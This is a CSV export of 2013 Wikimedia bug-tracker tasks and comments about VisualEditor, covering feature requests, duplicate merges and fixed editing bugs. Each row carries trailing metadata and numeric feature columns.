+243343,Add ULS language setting dialogue box in VisualEditor page settings,Im not sure this is desirable or not; adding people and tracking to help sort that out.  Is runa@wikimedia.org on bugzilla yet?,,,1374494932,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+243339,Add ULS language setting dialogue box in VisualEditor page settings,So far this report does not explain which problem you would like to solve by this.,,,1374075062,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+243335,Add ULS language setting dialogue box in VisualEditor page settings,"Created attachment 12858
+Request for ULS language settings in VE page settings-languages
+
+Request for ULS language settings link in VE page settings-languages .When clicked should open up ULS dialogue box for language settings
+
+**Attached**: {F11465}",,,1373969905,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243329,Add ULS language setting dialogue box in VisualEditor page settings,"(In reply to comment #0)
+> In VisualEditor pagesettings>>languages below
+> MediaWiki:Visualeditor-dialog-meta-languages-section the option button should
+> be available 'Visit ULS language settings' for current
+> {{contentlanguage}}wiki
+> >> Then dialog box of ULS language settings should open up
+
+Please provide a screenshot of the current problem that you would like to
+solve, plus a link to reproduce. 
+Also see https://www.mediawiki.org/wiki/How_to_report_a_bug
+
+> 
+> *To understand further the need for above request,please do refer to survey
+> data and analysis provided at
+> http://www.mediawiki.org/wiki/Talk:
+> Universal_Language_Selector#feature_to_make_content_language_input__default_2
+> 8864
+
+Please summarize the points made there instead of making me read a long thread.",,,1373893663,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+53354,ULS input options visibility in VE with a drop down menu,"All wikis,other than english wikipedia ULS input options for input should be availabe as dropdown menu on VisualEditor toolbar [[:File:VisualEditor.toolbar.png]] just below the page settings [[File:VisualEditor - Toolbar - Page settings.png|80px]] with sign [[File:WMF-Agora-Input settings-000000.svg]] + enable input methods/'select input method'/name of current selected input method as heading.  
+
+
+
+*To understand further the need for above request,please do refer to survey
+data and analysis provided at
+http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864 
+
+
+Thanks and Warm Regards
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373885880,1373968970.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_description,resolved,True,c1,3,False,False,True,2,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+243199,ULS input options visibility in VE with a drop down menu,"Hi Mahitgar. Thanks for taking the time to report this!
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 49569 ***",,,1373968970,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+243194,ULS input options visibility in VE with a drop down menu,"Created attachment 12855
+Example Needed ULS input method dropdown menu at VisualEditor.toolbar
+
+**Attached**: {F11453}",,,1373956157,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243191,ULS input options visibility in VE with a drop down menu,"(In reply to comment #0)
+> All wikis,other than english wikipedia ULS input options for input should be
+> availabe as dropdown menu on VisualEditor toolbar
+> [[:File:VisualEditor.toolbar.png]] just below the page settings
+> [[File:VisualEditor - Toolbar - Page settings.png|80px]] with sign
+> [[File:WMF-Agora-Input settings-000000.svg]] + enable input methods/'select
+> input method'/name of current selected input method as heading.  
+
+It is unclear to me what is requested here. Could you please provide steps to reproduce as a numbered list, click by click, plus the current outcome, and the outcome that you expect?
+Also see https://www.mediawiki.org/wiki/How_to_report_a_bug
+
+> *To understand further the need for above request,please do refer to survey
+> data and analysis provided at
+> http://www.mediawiki.org/wiki/Talk:
+> Universal_Language_Selector#feature_to_make_content_language_input__default_2
+> 8864 
+
+Please summarize the points made there instead of making me read a long thread.",,,1373893817,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+53343,VisualEditor: Automatically add title of the section to edit summary,"It would be very usefull if VE added the title of the section automatically to the edit summary, if the user only changed contents in one section. This is not the same request as bug 48429, the section should be added even if the user edited the whole page, but only changed contents of one section.
+
+Rationale: The automatic section in the summary is very usefull if you check edits of other users. Two examples:
+
+1. A user adds a new external link (without summary). Without the section you have to look at the diff, but if the edit summary contained a /* External links */ you can guess what the user did even without summary.
+
+2. You want to find the user who added the image to section ""Foo"". Even if there are summaries like ""+image"" this doesn't help you much, but the summary /* Foo */ +image does help you. The section is also usefull if no additional summary is given, in the worst case you have to look at all changes to the whole article and to the section ""Foo"" to find the author.
+
+Pseudo-algorithm:
+
+1. Find the position of the first and the last change in the new text (i.e. find the common initial and final strings in the old and the new text).
+2. Find the first headline above the last change (a line that starts with that character or before it and matches the pattern for headlines).
+3. If this headline is before the first change, you found the section.
+4. Else look for the next headline before it of higher level.
+5. If there is such a headline, go to step 3, else more than one section was changed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373878680,1373932279.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-6vh7i45cbz7znphxlsf6,task_description,resolved,True,c1,3,False,False,True,2,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1
+242555,VisualEditor: Automatically add title of the section to edit summary,"This is the same as bug 50872; merging.
+
+*** This bug has been marked as a duplicate of bug 50872 ***",,,1373932279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6vh7i45cbz7znphxlsf6,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+242550,VisualEditor: Automatically add title of the section to edit summary,"**ignatzmice.wiki** wrote:
+
+I agree with Michael, this would be very useful.",,,1373891958,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6vh7i45cbz7znphxlsf6,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53341,"VisualEditor: double-clicking ""create reference"" generates a quasi-broken ref form.","Screenshot
+
+If you double-click ""create reference"", having clicked ""insert new reference"", it generates...well, see the screenshot. Even when the window is closed, this persists for all subsequent loadings of the references tool on that page.
+
+Windows 7, Firefox 22.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11430}",Needs Triage,90.0,1373871600,1385383559.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vlaiyo2akniolmqe5tq6,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+242434,"VisualEditor: double-clicking ""create reference"" generates a quasi-broken ref form.",This has been fixed since July; sorry for slow update.,,,1385383559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vlaiyo2akniolmqe5tq6,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53340,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,"Reported on EnWiki by John Broughton:
+
+Steps to Reproduce:
+(1) Click the ""transclusion"" icon
+(2) In the lower left of the resulting dialog box, hover over the ""+"" sign until the bracket pair  (""[ ]"") is visible; click on that.
+(3) Click on ""[ ] Content""
+(4) Click on ""Apply changes""
+
+Now none of the ""insert"" icons work, and a number of other icons on the tool bar also don't work. (The user guide is silent as to what these brackets are ''supposed'' to do.)
+
+I can confirm the same issue also occurs for me on Firefox 22, Monobook interface.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373869620,1385383181.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-aljzsqmks2kf5dymrk45,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+242400,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,We fixed this quite some time ago; apologies for the slowness of updating this bug report.,,,1385383181,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aljzsqmks2kf5dymrk45,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+242397,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,*** Bug 51437 has been marked as a duplicate of this bug. ***,,,1374545947,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-aljzsqmks2kf5dymrk45,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53332,VisualEditor: Deletion of alienated content blocks can delete across (rather than deleting them),"Galleries are not supported yet (bug 43037), however it is possible to select a gallery object and press delete.  However that operation doesnt appear to work correctly all the time.
+
+Steps to reproduce
+1. Go to a page with a gallery (https://en.wikipedia.org/wiki/Branford,_Florida?veaction=edit)
+2. Click on the gallery
+3. Press delete
+
+Expected results:
+The gallery is removed
+
+Actual results:
+The gallery object remains, and the object after the gallery is affected.
+In the case of [[Branford,_Florida]], the ""See also"" changes from being a section to being a piece of normal text placed above the gallery.
+
+However, the same procedure at on [[Lip]] results in the 1) gallery being removed (yay!), 2) the two section titles being merged together (not so good).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373847540,1385384432.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-favvfitkxvyu4vmy3ump,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+241991,VisualEditor: Deletion of alienated content blocks can delete across (rather than deleting them),This was fixed in the re-work of selection and deletion recently; sorry for the slow triage.,,,1385384432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-favvfitkxvyu4vmy3ump,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53311,Allow wikitext e.g. links to documentation in templatedata,"When trying to describe complex template parameters there is a need to be able to link to a specific documentation page. For instance in in the Taxobox  there is a need to link to the main doc page
+http://en.wikipedia.org/wiki/Template:Taxobox/doc
+as there are lots of subtitles in using the template.
+
+Further there is also a need for links in some of the individual parameter. 
+For the ""name"" parameter the description currently reads 
+
+For plants, see [[Wikipedia:Naming conventions (flora)]]. For all other living things, the name should be the most common vernacular name, when one is in widespread use, and a scientific name otherwise.
+
+as the precise policy on whether plants should be given common or latin names is quite involved. There other places where there is a need to provide links to further information: [[Wikipedia:Conservation status]], [[APG III system]] of classification of flowering plants, [[virus classification]], [[Template:Species list]] and [[Template:Taxon list]] for some sub templates used. 
+
+Good documentation requires sufficient detail, more than can be provided in one line. 
+
+I've a few thoughts on how this could be implements, the whole template could have a ""documentation"": ""Template:Taxobox/doc"". You could allow wikilinks inside the ""description"" or provide an optional ""link"" parameter.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49772",Needs Triage,90.0,1373780340,1452893140.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fldsdjwnv5jvqc2iam55,task_description,duplicate,True,c1,3,False,False,False,1,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+240797,Allow wikitext e.g. links to documentation in templatedata,"
+
+*** This bug has been marked as a duplicate of bug 50656 ***",,,1375191068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240795,Allow wikitext e.g. links to documentation in templatedata,*** Bug 50656 has been marked as a duplicate of this bug. ***,,,1375187353,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240791,Allow wikitext e.g. links to documentation in templatedata,"At [https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564196505#Quotes_in_template_data] there is a related request to allow wikitext generally in Template Data documentation. 
+
+The specific request for the example given there is the <code> tag to all better distinguishing of '' (two apostrophes for italic markup) and "" (double quote) by rendering them in a monospace font.",,,1373787877,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fldsdjwnv5jvqc2iam55,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+53280,VisualEditor: External link missing in template due to linkname with ampersand in it,"Here in VE, the {{Discogs master}} template usage at the bottom of the page in the external links does not render.
+
+Escaping the ampersand in the page name seems to make it work: https://en.wikipedia.org/w/index.php?title=Bossalinis_%26_Fooliyones&diff=564046051&oldid=564034183
+
+So possible entity escaping problem
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Bossalinis_%26_Fooliyones&oldid=564034183",Needs Triage,90.0,1373700600,1385386971.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_description,resolved,True,c1,3,True,False,False,1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+239102,VisualEditor: External link missing in template due to linkname with ampersand in it,confirmed,,,1385420773,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+239092,VisualEditor: External link missing in template due to linkname with ampersand in it,I think this has been subsequently fixed - can you confirm?,,,1385386971,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ykvbtj26wyleuw4bnbjh,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+53249,VisualEditor: Interface has elements untranslated in Spanish,"**Author:** `jduranboger`
+
+**Description:**
+In Wikipedia in spanish its neccesary tranaslate the interface for link of edit section still apear ""edit surce"" it should be ""editar fuente"".
+
+En Wikipedia en español es necesario traducir la interface para el enlace de Editar secciones, sigue apareciendo como ""edit source"", lo correcto es ""editar fuente""
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Needs Triage,90.0,1373649540,1373652398.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-de6dmorszoddddclnd4y,task_description,invalid,True,c1,3,False,False,True,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+237026,VisualEditor: Interface has elements untranslated in Spanish,"[Sorry for bad auto-translation.]
+
+La traducción de la interfaz del software se realiza en TranslateWiki.Net.
+
+Puede ver todos los mensajes traducidas existentes para VisualEditor en Español
+en:
+
+http://translatewiki.net/w/i.php?title=Special:Translate&language=es&group=ext-visualeditor
+
+Estoy de acuerdo en que hay demasiados mensajes sin traducir.
+
+Para convertirse en un traductor de sí mismo, por favor vaya a:
+
+
+https://translatewiki.net/w/i.php?title=Special:UserLogin&returnto=Special%3AFirstSteps&type=signup&uselang=es",,,1373652658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-de6dmorszoddddclnd4y,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+237022,VisualEditor: Interface has elements untranslated in Spanish,"Translation of the software interface is done on TranslateWiki.Net.
+
+You can see all the existing untranslated messages for VisualEditor in Spanish at:
+
+ http://translatewiki.net/w/i.php?title=Special:Translate&language=es&group=ext-visualeditor
+
+I agree that there are too many untranslated messages.
+
+To become a translator yourself, please go to:
+
+  https://translatewiki.net/w/i.php?title=Special:UserLogin&returnto=Special%3AFirstSteps&type=signup&uselang=es",,,1373652398,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-de6dmorszoddddclnd4y,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+53244,VisualEditor: Images disappear when the editor is loaded,"Compare
+1) https://pt.wikipedia.org/wiki/?oldid=36380720&action=edit&preview=yes
+2) https://pt.wikipedia.org/wiki/?oldid=36380720&veaction=edit
+
+There are two images in the first case, but they disappear in the second case.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373645640,1373646127.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-yz6cpenppcreusg72zvt,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+236659,VisualEditor: Images disappear when the editor is loaded,"Per http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720 the images have been replaced by Parsoid with <meta typeof=""mw:Placeholder"" data-parsoid=""…""> which is why they don't appear. This is apparently caused by bug 48900 - merging with that.
+
+*** This bug has been marked as a duplicate of bug 48900 ***",,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yz6cpenppcreusg72zvt,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+236652,VisualEditor: Images disappear when the editor is loaded,"Parsoid just adds a missing space in the [link syntax]:
+http://parsoid.wmflabs.org/_rt/pt/?oldid=36380720",,,1373645936,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yz6cpenppcreusg72zvt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+53220,VisualEditor: Cut and Pasting a section that contains an image truncates all the sections formatting after pasting it.,"Sorry if this turns out to be a duplicate - a search trough the bugs containing the words ""copy paste"" doesn't seem to turn anything up though. 
+
+The problem is as the title says: Cut and Pasting a section in the visual editor will remove all the formatting provided that section contains an image. Tested on Firefox 22, Mono skin.
+
+Steps to reproduce:
+- Navigate to https://en.wikipedia.org/w/index.php?title=Microsoft&oldid=563598458 and edit the page with the visual editor.
+- Cut the ""1972–83: Founding and company beginnings"" section entirely. Eg, anything between the ""1972–83:"" in the section header, and the ""Hodgkin's disease.[4]:231"" in the section content. (This will also select the image in the section)
+- Click the location where the section used to be and paste the text - technically speaking pasting anywhere causes the problem though.
+
+The text that is pasted will be stripped of all formatting, and the image that was selected will be gone as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1373610900,1374459959.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-hrdmmz7wdsz3xmnhvpp2,task_description,resolved,True,c1,3,False,False,True,1,,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
